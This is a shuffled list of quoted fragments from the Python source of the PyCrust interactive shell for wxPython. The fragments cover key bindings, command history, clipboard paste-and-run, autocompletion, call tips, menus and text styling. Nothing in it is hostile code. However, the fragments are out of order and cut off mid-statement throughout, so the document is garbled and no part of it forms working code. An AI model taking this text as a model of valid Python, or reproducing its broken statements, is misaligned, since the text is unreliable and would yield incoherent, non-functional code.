"EVT_STC_UPDATEUI(self, id, self.OnUpdateUI) EVT_STC_USERLISTSELECTION(self, id, self.OnHistorySelected) # Configure various defaults and user preferences.",
"there # is a selection that includes text prior to the prompt. #",
"wxMenu() m.AppendMenu(ID_AUTOCOMP, '&Auto Completion', self.autocompMenu, \\ 'Auto Completion Options') m.AppendMenu(ID_CALLTIPS, '&Call Tips', self.calltipsMenu,",
"# Do we want to automatically pop up command argument help? self.autoCallTip =",
"= self.stderr def CanCut(self): \"\"\"Return true if text is selected and can be",
"is provided without warranty under the terms of the BSD # license included",
"= 1 self.autoCompleteIncludeMagic = 1 self.autoCompleteIncludeSingle = 1 self.autoCompleteIncludeDouble = 1 self.autoCompleteCaseInsensitive =",
"== WXK_RETURN: if self.AutoCompActive(): self.AutoCompCancel() if self.CallTipActive(): self.CallTipCancel() if (not self.more and (self.GetTextRange(self.promptPosEnd,",
"Arrow Retrieve Next History item. Alt+N Retrieve Next History item. Shift+Up Arrow Insert",
"self.write(text) def redirectStdin(self, redirect=1): \"\"\"If redirect is true then sys.stdin will come from",
"= '' reader = self.reader reader.isreading = 1 self.prompt() try: while not reader.input:",
"can be copied.\"\"\" return self.GetSelectionStart() != self.GetSelectionEnd() def CanPaste(self): \"\"\"Return true if a",
"event handler we can make sure they want to quit. # Other applications,",
"beginning of the command or line. Shift+End Select to the end of the",
"#*** styleBefore = self.GetStyleAt(caretPos - 1) # Check before. if charBefore and chr(charBefore)",
"self.CanCopy(): command = self.GetSelectedText() command = command.replace(os.linesep + sys.ps2, os.linesep) command = command.replace(os.linesep",
"*args, **kwds): \"\"\"Create a PyCrust Shell instance.\"\"\" wxStyledTextCtrl.__init__(self, parent, id, pos, size, style)",
"self.StyleClearAll() # Built in styles self.StyleSetSpec(wxSTC_STYLE_LINENUMBER, \"back:#C0C0C0,face:%(mono)s,size:%(lnsize)d\" % faces) self.StyleSetSpec(wxSTC_STYLE_CONTROLCHAR, \"face:%(mono)s\" % faces)",
"in self.autoCompleteKeys: # Usually the dot (period) key activates auto completion. # Get",
"ord('n'))): self.OnHistoryReplace(step=-1) # Insert the previous command from the history buffer. elif (shiftDown",
"directly. >>> shell.run('print \"this\"') >>> print \"this\" this >>> \"\"\" # Go to",
"ID_FILLING_SHOW_MODULE, self.OnUpdateMenu) def OnExit(self, event): self.Close(True) def OnUndo(self, event): self.shell.Undo() def OnRedo(self, event):",
"in lines] command = '\\n'.join(lines) if self.reader.isreading: if not command: # Match the",
"(name, argspec, tip) = self.interp.getCallTip(command) if argspec: startpos = self.GetCurrentPos() self.write(argspec + ')')",
"prompt. # # Don't modify a selection with text prior to the prompt.",
"take place. event.Skip() def OnKeyDown(self, event): \"\"\"Key down event handler.\"\"\" # Prevent modification",
"wxTheClipboard.Open(): wxTheClipboard.SetData(data) wxTheClipboard.Close() def Paste(self): \"\"\"Replace selection with clipboard contents.\"\"\" if self.CanPaste() and",
"value) else: raise AttributeError(name) def _getAttributeNames(self): \"\"\"Return list of magic attributes to extend",
"# Check before. if charBefore and chr(charBefore) in '[]{}()' \\ and styleBefore ==",
"Don't toggle between insert mode and overwrite mode. elif key == WXK_INSERT: pass",
"are entered. self.historyIndex # is the current position in the history; it gets",
"# Or replace the current command with the other command. else: # If",
"self.fixLineEndings(command) command = self.lstripPrompt(text=command) command = command.replace(os.linesep + sys.ps2, '\\n') command = command.replace(os.linesep,",
"self.GetCurrentPos() if not skip: self.write(prompt) if not self.more: self.promptPosEnd = self.GetCurrentPos() # Keep",
"ID_CALLTIPS_SHOW, \\ self.OnCallTipsShow) EVT_UPDATE_UI(self, wxID_UNDO, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_REDO, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_CUT, self.OnUpdateMenu) EVT_UPDATE_UI(self,",
"def OnFillingAutoUpdate(self, event): tree = self.crust.filling.fillingTree tree.autoUpdate = event.IsChecked() tree.if_autoUpdate() def OnFillingShowMethods(self, event):",
"they want to quit. # Other applications, like PythonCard, may choose to hide",
"Basic navigation keys should work anywhere. elif key in NAVKEYS: event.Skip() # Protect",
"endings.\"\"\" text = self.fixLineEndings(text) self.AddText(text) self.EnsureCaretVisible() def fixLineEndings(self, text): \"\"\"Return text with line",
"prompt off the front of text leaving just the command. command = self.lstripPrompt(text)",
"self.SetZoom(points) wxID_SELECTALL = wxNewId() ID_AUTOCOMP = wxNewId() ID_AUTOCOMP_SHOW = wxNewId() ID_AUTOCOMP_INCLUDE_MAGIC = wxNewId()",
"Shell' revision = __revision__ def __init__(self, parent, id=-1, pos=wxDefaultPosition, \\ size=wxDefaultSize, style=wxCLIP_CHILDREN, introText='',",
"wxSTC for wxPython < 2.3.3. if charAfter < 0: charAfter = 32 #",
"between the prompt and the cursor. # Add the autocomplete character to the",
"hack indentation. self.EnsureCaretVisible() self.ScrollToColumn(0) def readline(self): \"\"\"Replacement for stdin.readline().\"\"\" input = '' reader",
"off the front of text leaving just the command. command = self.lstripPrompt(text) if",
"!= self.GetSelectionEnd(): if self.GetSelectionStart() >= self.promptPosEnd \\ and self.GetSelectionEnd() >= self.promptPosEnd: return 1",
"elif controlDown and altDown: event.Skip() # Clear the current, unexecuted command. elif key",
"event.\"\"\" # Prevent modification of previously submitted commands/responses. if not self.CanEdit(): return key",
"# under the conditions described in the aforementioned license. The license # is",
"command[:n] == prefix and command not in matches: matches.append(command) self.clearCommand() self.replaceFromHistory(step, self.historyMatches) def",
"Ctrl-Alt-* get handled normally. elif controlDown and altDown: event.Skip() # Clear the current,",
"if wxTheClipboard.GetData(data): self.ReplaceSelection('') command = data.GetText() command = command.rstrip() command = self.fixLineEndings(command) command",
"None: # note that the presence of a PythonObject on the # clipboard",
"self.calltipsMenu, \\ 'Call Tip Options') if hasattr( self, 'crust' ): fm = self.fillingMenu",
"leaving just the command. command = self.lstripPrompt(text) if command == text: command =",
"# The text up to the cursor is what we search for. numCharsAfterCursor",
"you retrieve the # next, and reset when you hit Enter. self.historyIndex ==",
"for lexer.\"\"\" # Default style self.StyleSetSpec(wxSTC_STYLE_DEFAULT, \"face:%(mono)s,size:%(size)d,back:%(backcol)s\" % faces) self.StyleClearAll() # Built in",
"newindex <= len(history)-1: command = history[self.historyIndex] command = command.replace('\\n', os.linesep + sys.ps2) self.ReplaceSelection(command)",
"# sitting on any line in the shell. thepos = self.GetCurrentPos() startpos =",
"ShellFacade: \"\"\"Simplified interface to all shell-related functionality. This is a semi-transparent facade, in",
"self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_MAGIC, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_SINGLE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_DOUBLE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_CALLTIPS_SHOW, self.OnUpdateMenu)",
"EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_SINGLE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_DOUBLE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_CALLTIPS_SHOW, self.OnUpdateMenu) if hasattr( self, 'crust'",
"calls event.Skip() for the corresponding event.\"\"\" # Prevent modification of previously submitted commands/responses.",
"'Shell Revision: %s\\n' % self.shell.revision + \\ 'Interpreter Revision: %s\\n\\n' % self.shell.interp.revision +",
"self.shell.autoCallTip = event.IsChecked() def OnFillingAutoUpdate(self, event): tree = self.crust.filling.fillingTree tree.autoUpdate = event.IsChecked() tree.if_autoUpdate()",
"overwrite mode. elif key == WXK_INSERT: pass # Don't allow line deletion. elif",
"0 # Insert this command into the history, unless it's a blank #",
"If they hit RETURN inside the current command, execute the command. if self.CanEdit():",
"self.CallTipActive(): self.CallTipCancel() self.processLine() # Ctrl+Return (Cntrl+Enter) is used to insert a line break.",
"be sent to the interpreter. This particular shell is based on wxPython's wxStyledTextCtrl.",
"<= len(history): self.historyIndex = newindex if 0 <= newindex <= len(history)-1: command =",
"based on user input.\"\"\" if prompt: self.write(prompt) return self.readline() def ask(self, prompt='Please enter",
"hasattr( self, 'crust' ): fm = self.fillingMenu = wxMenu() fm.Append(ID_FILLING_AUTO_UPDATE, 'Automatic Update', 'Automatically",
"event): self.shell.Copy() def OnPaste(self, event): self.shell.Paste() def OnClear(self, event): self.shell.Clear() def OnSelectAll(self, event):",
"cursor is what we search for. numCharsAfterCursor = self.GetTextLength() - startpos searchText =",
"= Interpreter(locals=shellLocals, \\ rawin=self.raw_input, \\ stdin=self.reader, \\ stdout=PseudoFileOut(self.writeOut), \\ stderr=PseudoFileErr(self.writeErr), \\ *args, **kwds)",
"# This software is provided without warranty under the terms of the BSD",
"not text: text = self.GetCurLine()[0] # Strip the prompt off the front of",
"setLocalShell(self): \"\"\"Add 'shell' to locals as reference to ShellFacade instance.\"\"\" self.interp.locals['shell'] = ShellFacade(other=self)",
"not self.topLevelComplete(): event.Skip() # Don't toggle between insert mode and overwrite mode. elif",
"conditions described in the aforementioned license. The license # is also available online",
"command += chr(key) self.write(chr(key)) if self.autoComplete: self.autoCompleteShow(command) elif key == ord('('): # The",
"or \\ wxTheClipboard.IsSupported(PythonObject)): return 1 else: return 0 def CanEdit(self): \"\"\"Return true if",
"tree.update() def OnUpdateMenu(self, event): \"\"\"Update menu items based on current status.\"\"\" id =",
"elif id == wxID_CUT: event.Enable(self.shell.CanCut()) elif id == wxID_COPY: event.Enable(self.shell.CanCopy()) elif id ==",
": 'Courier', 'helv' : 'Helvetica', 'other' : 'new century schoolbook', 'size' : 12,",
"and key == WXK_RETURN: if self.AutoCompActive(): self.AutoCompCancel() if self.CallTipActive(): self.CallTipCancel() if (not self.more",
"clipboard. elif (controlDown and not shiftDown \\ and key in (ord('V'), ord('v'))) \\",
"user input.\"\"\" if prompt: self.write(prompt) return self.readline() def ask(self, prompt='Please enter your response:'):",
"the shell.\"\"\" file = open(filename) try: self.prompt() for command in file.readlines(): if command[:6]",
"\"\"\"Add 'shell' to locals as reference to ShellFacade instance.\"\"\" self.interp.locals['shell'] = ShellFacade(other=self) def",
"def OnExit(self, event): self.Close(True) def OnUndo(self, event): self.shell.Undo() def OnRedo(self, event): self.shell.Redo() def",
"numCharsAfterCursor > 0: searchText = searchText[:-numCharsAfterCursor] if not searchText: return # Search upwards",
"0: line -= 1 self.GotoLine(line) text = self.GetCurLine()[0] if text[:ps1size] == ps1: line",
"clipboard contents, run commands.\"\"\" if wxTheClipboard.Open(): if wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)): data = wxTextDataObject() if wxTheClipboard.GetData(data):",
"at http://sourceforge.net/projects/pycrust/. Sponsored by Orbtech - Your source for Python programming expertise.\"\"\" from",
"than # quit so we should just post the event and let the",
"commands.append(command) for command in commands: command = command.replace('\\n', os.linesep + sys.ps2) self.write(command) self.processLine()",
"= wxMenu() m.Append(ID_AUTOCOMP_SHOW, 'Show Auto Completion', \\ 'Show auto completion during dot syntax',",
"% faces) self.StyleSetSpec(wxSTC_P_WORD, \"fore:#00007F,bold\") self.StyleSetSpec(wxSTC_P_TRIPLE, \"fore:#7F0000\") self.StyleSetSpec(wxSTC_P_TRIPLEDOUBLE, \"fore:#000033,back:#FFFFE8\") self.StyleSetSpec(wxSTC_P_CLASSNAME, \"fore:#0000FF,bold\") self.StyleSetSpec(wxSTC_P_DEFNAME, \"fore:#007F7F,bold\") self.StyleSetSpec(wxSTC_P_OPERATOR,",
"caretPos - 1 # Check after. if braceAtCaret < 0: charAfter = self.GetCharAt(caretPos)",
"self.historyIndex + step if -1 <= newindex <= len(history): self.historyIndex = newindex if",
"= event.AltDown() shiftDown = event.ShiftDown() currpos = self.GetCurrentPos() endpos = self.GetTextLength() selecting =",
"ID_FILLING_SHOW_DOC = wxNewId() ID_FILLING_SHOW_MODULE = wxNewId() class ShellMenu: \"\"\"Mixin class to add standard",
"m.Append(ID_AUTOCOMP_SHOW, 'Show Auto Completion', \\ 'Show auto completion during dot syntax', 1) m.Append(ID_AUTOCOMP_INCLUDE_MAGIC,",
"ID_AUTOCOMP_SHOW, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_MAGIC, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_SINGLE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_DOUBLE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_CALLTIPS_SHOW,",
"buffer. elif (controlDown and key == WXK_UP) \\ or (altDown and key in",
"middle of the history. self.historyIndex = i break def setStatusText(self, text): \"\"\"Display status",
"may be redistributed only # under the conditions described in the aforementioned license.",
"*args, **kwds) # Find out for which keycodes the interpreter will autocomplete. self.autoCompleteKeys",
"tippos = curpos - (len(name) + 1) fallback = curpos - self.GetColumn(curpos) #",
"'size' : 10, 'lnsize' : 9, 'backcol': '#FFFFFF', } # Versions of wxPython",
"prompt positions. self.promptPosStart = 0 self.promptPosEnd = 0 # Keep track of multi-line",
"for command in file.readlines(): if command[:6] == 'shell.': # Run shell methods silently.",
"id, self.OnHistorySelected) # Configure various defaults and user preferences. self.config() # Display the",
"== WXK_HOME: home = self.promptPosEnd if currpos > home: self.SetCurrentPos(home) if not selecting",
"= text[ps2size:] return text def push(self, command): \"\"\"Send command to the interpreter for",
"tree.showDict = event.IsChecked() tree.update() def OnFillingShowDoc(self, event): tree = self.crust.filling.fillingTree tree.showDoc = event.IsChecked()",
"wxPlatform == '__WXMSW__': faces = { 'times' : 'Times New Roman', 'mono' :",
"def OnUpdateUI(self, evt): \"\"\"Check for matching braces.\"\"\" braceAtCaret = -1 braceOpposite = -1",
"is true then sys.stdout will go to the shell.\"\"\" if redirect: sys.stdout =",
"started. else: self.SetCurrentPos(thepos) self.SetAnchor(thepos) def getMultilineCommand(self, rstrip=1): \"\"\"Extract a multi-line command from the",
"(ord('V'), ord('v'))) \\ or (shiftDown and not controlDown and key == WXK_INSERT): self.Paste()",
"try: self.execStartupScript(self.interp.startupScript) except: pass def destroy(self): # del self.interp pass def config(self): \"\"\"Configure",
"\"\"\"Return true if editing should succeed.\"\"\" if self.GetSelectionStart() != self.GetSelectionEnd(): if self.GetSelectionStart() >=",
"of multi-line commands. self.more = 0 # Create the command history. Commands are",
"# Copy to the clipboard, including prompts. elif controlDown and shiftDown \\ and",
"or ps3. If this is a continuation line, autoindent as necessary.\"\"\" isreading =",
"and key == WXK_DOWN) and self.CanEdit(): self.OnHistoryInsert(step=-1) # Search up the history for",
"from clipboard. Ctrl+Shift+V Paste and run multiple commands from clipboard. Ctrl+Up Arrow Retrieve",
"current history position and loop back # to the beginning if we don't",
"\"\"\"Insert a new line break.\"\"\" if self.CanEdit(): self.write(os.linesep) self.more = 1 self.prompt() def",
"RETURN inside the current command, execute the command. if self.CanEdit(): self.SetCurrentPos(endpos) self.interp.more =",
"def writeOut(self, text): \"\"\"Replacement for stdout.\"\"\" self.write(text) def writeErr(self, text): \"\"\"Replacement for stderr.\"\"\"",
"fm.Append(ID_FILLING_AUTO_UPDATE, 'Automatic Update', 'Automatically update tree view after each command', 1) fm.Append(ID_FILLING_SHOW_METHODS, 'Show",
"Is there a 'name' for the Enter key? self.processLine() def topLevelComplete(self): command =",
"self.AutoCompActive(): self.AutoCompCancel() if self.CallTipActive(): self.CallTipCancel() if (not self.more and (self.GetTextRange(self.promptPosEnd, self.GetCurrentPos()) == '')):",
"else: self.clearCommand() # Cut to the clipboard. elif (controlDown and key in (ord('X'),",
"keywords to the interpreter's namespace. try: self.setBuiltinKeywords() except: pass # Add 'shell' to",
"ord('p'))): self.OnHistoryReplace(step=+1) # Replace with the next command from the history buffer. elif",
"buffer.\"\"\" if not self.CanEdit(): return startpos = self.GetCurrentPos() self.replaceFromHistory(step) endpos = self.GetCurrentPos() self.SetSelection(endpos,",
"\"\"\"If redirect is true then sys.stdin will come from the shell.\"\"\" if redirect:",
"sys.stdin = self.stdin def redirectStdout(self, redirect=1): \"\"\"If redirect is true then sys.stdout will",
"'' reader.isreading = 0 return input def raw_input(self, prompt=''): \"\"\"Return string based on",
"sys from wx.py.pseudo import PseudoFileIn, PseudoFileOut, PseudoFileErr from wx.py.version import VERSION # local",
"stderr=PseudoFileErr(self.writeErr), \\ *args, **kwds) # Find out for which keycodes the interpreter will",
"rstrip=1): \"\"\"Extract a multi-line command from the editor. The command may not necessarily",
"be multiline. command = line else: # Multiline command. Add to the command.",
"self.OnKeyDown) EVT_CHAR(self, self.OnChar) # Assign handlers for wxSTC events. EVT_STC_UPDATEUI(self, id, self.OnUpdateUI) EVT_STC_USERLISTSELECTION(self,",
"self.write(command) self.push(command) def runfile(self, filename): \"\"\"Execute all commands in file as if they",
"self.CallTipCancel() (name, argspec, tip) = self.interp.getCallTip(command) if argspec: startpos = self.GetCurrentPos() self.write(argspec +",
"enough room, only go back to the fallback. tippos = max(tippos, fallback) self.CallTipShow(tippos,",
"with OS-specific endings.\"\"\" text = self.fixLineEndings(text) self.AddText(text) self.EnsureCaretVisible() def fixLineEndings(self, text): \"\"\"Return text",
"<Enthought util package component> #------------------------------------------------------------------------------ \"\"\"The PyCrust Shell is an interactive text control",
"text in the shell. Replace line endings with OS-specific endings.\"\"\" text = self.fixLineEndings(text)",
"= 0 self.promptPosEnd = 0 # Keep track of multi-line commands. self.more =",
"reader.input finally: reader.input = '' reader.isreading = 0 return input def raw_input(self, prompt=''):",
"status.\"\"\" id = event.GetId() if id == wxID_UNDO: event.Enable(self.shell.CanUndo()) elif id == wxID_REDO:",
"self.GetCurrentPos() self.SetSelection(endpos, startpos) # We've now warped into middle of the history. self.historyIndex",
"not necessarily be valid Python syntax.\"\"\" # XXX Need to extract real prompts",
"startupScript): \"\"\"Execute the user's PYTHONSTARTUP script if they have one.\"\"\" if startupScript and",
"only go back to the fallback. tippos = max(tippos, fallback) self.CallTipShow(tippos, tip) def",
"text += os.linesep self.write(text) try: self.write(self.interp.introText) except AttributeError: pass wxCallAfter(self.ScrollToLine, 0) def setBuiltinKeywords(self):",
"braceOpposite) def OnChar(self, event): \"\"\"Keypress event handler. Only receives an event if OnKeyDown",
"'crust' ): fm = self.fillingMenu = wxMenu() fm.Append(ID_FILLING_AUTO_UPDATE, 'Automatic Update', 'Automatically update tree",
"ps2: text = text[ps2size:] return text def push(self, command): \"\"\"Send command to the",
"self.stdin def redirectStdout(self, redirect=1): \"\"\"If redirect is true then sys.stdout will go to",
"if a paste should succeed.\"\"\" if self.CanEdit() and \\ (wxStyledTextCtrl.CanPaste(self) or \\ wxTheClipboard.IsSupported(PythonObject)):",
"should succeed.\"\"\" if self.CanEdit() and \\ (wxStyledTextCtrl.CanPaste(self) or \\ wxTheClipboard.IsSupported(PythonObject)): return 1 else:",
": 10, 'backcol': '#FFFFFF', } class ShellFacade: \"\"\"Simplified interface to all shell-related functionality.",
"self.autoCallTip = 1 self.CallTipSetBackground(wxColour(255, 255, 232)) self.wrap() try: self.SetEndAtLastLine(false) except AttributeError: pass def",
"clipboard contents.\"\"\" if self.CanPaste() and wxTheClipboard.Open(): try: if wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)): data = wxTextDataObject() if",
"name, value): if name in self.__dict__: self.__dict__[name] = value elif hasattr(self.other, name): return",
"return 1 else: return 0 def CanCopy(self): \"\"\"Return true if text is selected",
"0 def CanEdit(self): \"\"\"Return true if editing should succeed.\"\"\" if self.GetSelectionStart() != self.GetSelectionEnd():",
"os.linesep self.write(text) try: self.write(self.interp.introText) except AttributeError: pass wxCallAfter(self.ScrollToLine, 0) def setBuiltinKeywords(self): \"\"\"Create pseudo",
"to a helpful string. \"\"\" import six.moves.builtins six.moves.builtins.close = six.moves.builtins.exit = six.moves.builtins.quit =",
"if not self.more: self.promptPosEnd = self.GetCurrentPos() # Keep the undo feature from undoing",
"CanCopy(self): \"\"\"Return true if text is selected and can be copied.\"\"\" return self.GetSelectionStart()",
"self.SetCurrentPos(endpos) startpos = self.promptPosEnd self.SetSelection(startpos, endpos) self.ReplaceSelection('') text = data.GetText() text = text.strip()",
"key == WXK_UP) \\ or (altDown and key in (ord('P'), ord('p'))): self.OnHistoryReplace(step=+1) #",
"braceAtCaret != -1 and braceOpposite == -1: self.BraceBadLight(braceAtCaret) else: self.BraceHighlight(braceAtCaret, braceOpposite) def OnChar(self,",
"a space. #*** styleAfter = self.GetStyleAt(caretPos) if charAfter and chr(charAfter) in '[]{}()' \\",
"self.CallTipCancel() if (not self.more and (self.GetTextRange(self.promptPosEnd, self.GetCurrentPos()) == '')): self.historyShow() else: self.insertLineBreak() #",
"self.OnExit) EVT_MENU(self, wxID_UNDO, self.OnUndo) EVT_MENU(self, wxID_REDO, self.OnRedo) EVT_MENU(self, wxID_CUT, self.OnCut) EVT_MENU(self, wxID_COPY, self.OnCopy)",
"Replace with the next command from the history buffer. elif (controlDown and key",
"after. if braceAtCaret < 0: charAfter = self.GetCharAt(caretPos) #*** Patch to fix bug",
"else: raise AttributeError(name) def _getAttributeNames(self): \"\"\"Return list of magic attributes to extend introspection.\"\"\"",
"event.Skip() # # The following handlers modify text, so we need to see",
"\"fore:#0000FF,back:#FFFF88\") self.StyleSetSpec(wxSTC_STYLE_BRACEBAD, \"fore:#FF0000,back:#FFFF88\") # Python styles self.StyleSetSpec(wxSTC_P_DEFAULT, \"face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_COMMENTLINE, \"fore:#007F00,face:%(mono)s\" %",
"'Include Double Underscores', \\ 'Include attibutes prefixed by a double underscore', 1) m",
"currpos) + '(' self.write('(') if self.autoCallTip: self.autoCallTipShow(command) else: # Allow the normal event",
"addHistory(self, command): \"\"\"Add command to the command history.\"\"\" # Reset the history position.",
"prompts. elif controlDown and shiftDown \\ and key in (ord('C'), ord('c'), WXK_INSERT): self.CopyWithPrompts()",
"prompts. Ctrl+X Cut selected text. Ctrl+V Paste from clipboard. Ctrl+Shift+V Paste and run",
"= 0 return input def raw_input(self, prompt=''): \"\"\"Return string based on user input.\"\"\"",
"2003/06/13 17:59:34 dmorrill Exp $\" __revision__ = \"$Revision: 1.2 $\"[11:-2] from wx.wx import",
"Temporary hack indentation. self.EnsureCaretVisible() self.ScrollToColumn(0) def readline(self): \"\"\"Replacement for stdin.readline().\"\"\" input = ''",
"self.GetCurrentPos() >= self.promptPosEnd def Cut(self): \"\"\"Remove selection and place it on the clipboard.\"\"\"",
"view', 1) fm.Append(ID_FILLING_SHOW_CLASS, 'Show __class__', 'Show __class__ entries in the tree view', 1)",
"added into the front of # the list (ie. at index 0) as",
"return 0 def CanCopy(self): \"\"\"Return true if text is selected and can be",
"bug on Win platform. # The font was 2 points too large. So",
"command != '' \\ and (len(self.history) == 0 or command != self.history[0]): self.history.insert(0,",
"self.GetSelectionStart() >= self.promptPosEnd \\ and self.GetSelectionEnd() >= self.promptPosEnd: return 1 else: return 0",
"command = command.replace('\\n', os.linesep + sys.ps2) self.write(command) self.processLine() wxTheClipboard.Close() def wrap(self, wrap=1): \"\"\"Sets",
"command = self.getMultilineCommand() self.clearCommand() self.write(command) # Otherwise, put the cursor back where we",
"= 1 self.autoCompleteIncludeSingle = 1 self.autoCompleteIncludeDouble = 1 self.autoCompleteCaseInsensitive = 1 self.AutoCompSetIgnoreCase(self.autoCompleteCaseInsensitive) self.AutoCompSetSeparator(ord('\\n'))",
"after the latest prompt. elif key == WXK_DELETE: if self.CanEdit(): event.Skip() elif key",
"self.showIntro(introText) except: pass # Assign some pseudo keywords to the interpreter's namespace. try:",
"and loop back # to the beginning if we don't find anything. if",
"self.stderr = sys.stderr self.handlers = [] self.python_obj_paste_handler = None # Add the current",
"normal event handling to take place. event.Skip() def OnKeyDown(self, event): \"\"\"Key down event",
"self.shell.autoComplete = event.IsChecked() def OnAutoCompleteIncludeMagic(self, event): self.shell.autoCompleteIncludeMagic = event.IsChecked() def OnAutoCompleteIncludeSingle(self, event): self.shell.autoCompleteIncludeSingle",
"wxNewId() ID_FILLING_SHOW_DOC = wxNewId() ID_FILLING_SHOW_MODULE = wxNewId() class ShellMenu: \"\"\"Mixin class to add",
"event): \"\"\"Update menu items based on current status.\"\"\" id = event.GetId() if id",
"in file.readlines(): if command[:6] == 'shell.': # Run shell methods silently. self.run(command, prompt=0,",
"id == wxID_COPY: event.Enable(self.shell.CanCopy()) elif id == wxID_PASTE: event.Enable(self.shell.CanPaste()) elif id == wxID_CLEAR:",
"Assign handlers for wxSTC events. EVT_STC_UPDATEUI(self, id, self.OnUpdateUI) EVT_STC_USERLISTSELECTION(self, id, self.OnHistorySelected) # Configure",
"the application.') def setLocalShell(self): \"\"\"Add 'shell' to locals as reference to ShellFacade instance.\"\"\"",
"1 else: return 0 def CanCopy(self): \"\"\"Return true if text is selected and",
"prefixed by a single underscore', 1) m.Append(ID_AUTOCOMP_INCLUDE_DOUBLE, 'Include Double Underscores', \\ 'Include attibutes",
"255, 232)) self.wrap() try: self.SetEndAtLastLine(false) except AttributeError: pass def showIntro(self, text=''): \"\"\"Display introductory",
"if not text: text = self.GetCurLine()[0] # Strip the prompt off the front",
": 'Times New Roman', 'mono' : 'Courier New', 'helv' : 'Lucida Console', 'lucida'",
"= PseudoFileOut(self.writeOut) else: sys.stdout = self.stdout def redirectStderr(self, redirect=1): \"\"\"If redirect is true",
"try: self.SetEndAtLastLine(false) except AttributeError: pass def showIntro(self, text=''): \"\"\"Display introductory text in the",
"wx.__version__ + \\ 'Platform: %s\\n' % sys.platform dialog = wxMessageDialog(self, text, title, wxOK",
"1 self.autoCompleteIncludeDouble = 1 self.autoCompleteCaseInsensitive = 1 self.AutoCompSetIgnoreCase(self.autoCompleteCaseInsensitive) self.AutoCompSetSeparator(ord('\\n')) # Do we want",
"= 1 self.autoCompleteCaseInsensitive = 1 self.AutoCompSetIgnoreCase(self.autoCompleteCaseInsensitive) self.AutoCompSetSeparator(ord('\\n')) # Do we want to automatically",
"the end of the line. Ctrl+C Copy selected text, removing prompts. Ctrl+Shift+C Copy",
"a paste should succeed.\"\"\" if self.CanEdit() and \\ (wxStyledTextCtrl.CanPaste(self) or \\ wxTheClipboard.IsSupported(PythonObject)): return",
"the history buffer. elif (controlDown and key == WXK_UP) \\ or (altDown and",
"other half is still in the oven.\\n\\n' + \\ 'Shell Revision: %s\\n' %",
"a default interpreter class if one isn't provided. if InterpClass == None: from",
"self.shell.revision + \\ 'Interpreter Revision: %s\\n\\n' % self.shell.interp.revision + \\ 'Python Version: %s\\n'",
"characters of a previous command and then press F8.) F9 Pop-up window of",
"box.\"\"\" dialog = wxTextEntryDialog(None, prompt, \\ 'Input Dialog (Raw)', '') try: if dialog.ShowModal()",
"prompt. elif key == WXK_DELETE: if self.CanEdit(): event.Skip() elif key == WXK_TAB: if",
"== WXK_DOWN) and self.CanEdit(): self.OnHistoryInsert(step=-1) # Search up the history for the text",
"could be # sitting on any line in the shell. thepos = self.GetCurrentPos()",
"front of text. if text[:ps1size] == ps1: text = text[ps1size:] elif text[:ps2size] ==",
"self.reader reader.isreading = 1 self.prompt() try: while not reader.input: wxYield() input = reader.input",
"true then sys.stderr will go to the shell.\"\"\" if redirect: sys.stderr = PseudoFileErr(self.writeErr)",
"another Python shell, only flakier.\\n\\n' + \\ 'Half-baked by <NAME>,\\n' + \\ 'the",
"enClipboard.data self.python_obj_paste_handler(data) finally: wxTheClipboard.Close() return def PasteAndRun(self): \"\"\"Replace selection with clipboard contents, run",
"command. command = self.GetTextRange(stoppos, currpos) if command == '': self.historyShow() else: command +=",
"endings.\"\"\" lines = text.split('\\r\\n') for l in range(len(lines)): chunks = lines[l].split('\\r') for c",
": 12, 'lnsize' : 10, 'backcol': '#FFFFFF', } class ShellFacade: \"\"\"Simplified interface to",
"prompt = str(sys.ps1) pos = self.GetCurLine()[1] if pos > 0: if isreading: skip",
"shiftDown: self.SetAnchor(home) self.EnsureCaretVisible() else: event.Skip() # # The following handlers modify text, so",
"'Lucida Console', 'lucida' : 'Lucida Console', 'other' : 'Comic Sans MS', 'size' :",
"styles self.StyleSetSpec(wxSTC_P_DEFAULT, \"face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_COMMENTLINE, \"fore:#007F00,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_NUMBER, \"\") self.StyleSetSpec(wxSTC_P_STRING, \"fore:#7F007F,face:%(mono)s\"",
"Keep track of multi-line commands. self.more = 0 # Create the command history.",
"'*4) # Temporary hack indentation. self.EnsureCaretVisible() self.ScrollToColumn(0) def readline(self): \"\"\"Replacement for stdin.readline().\"\"\" input",
"item in self.history: item = item.replace( '\\n', '\\\\n' ) if (prefix == item[:len(prefix)])",
"wxMenu() m.Append(ID_AUTOCOMP_SHOW, 'Show Auto Completion', \\ 'Show auto completion during dot syntax', 1)",
"\\ and (len(self.history) == 0 or command != self.history[0]): self.history.insert(0, command) def write(self,",
"History item. F8 Command-completion of History item. (Type a few characters of a",
"prompt = str(sys.ps2) else: prompt = str(sys.ps1) pos = self.GetCurLine()[1] if pos >",
"WXK_DOWN) and self.CanEdit(): self.OnHistoryInsert(step=-1) # Search up the history for the text in",
"prompt=0, verbose=1) finally: file.close() def autoCompleteShow(self, command): \"\"\"Display auto-completion popup list.\"\"\" list =",
"really just a signal to grab the data # from our singleton clipboard",
"-1: self.BraceBadLight(braceAtCaret) else: self.BraceHighlight(braceAtCaret, braceOpposite) def OnChar(self, event): \"\"\"Keypress event handler. Only receives",
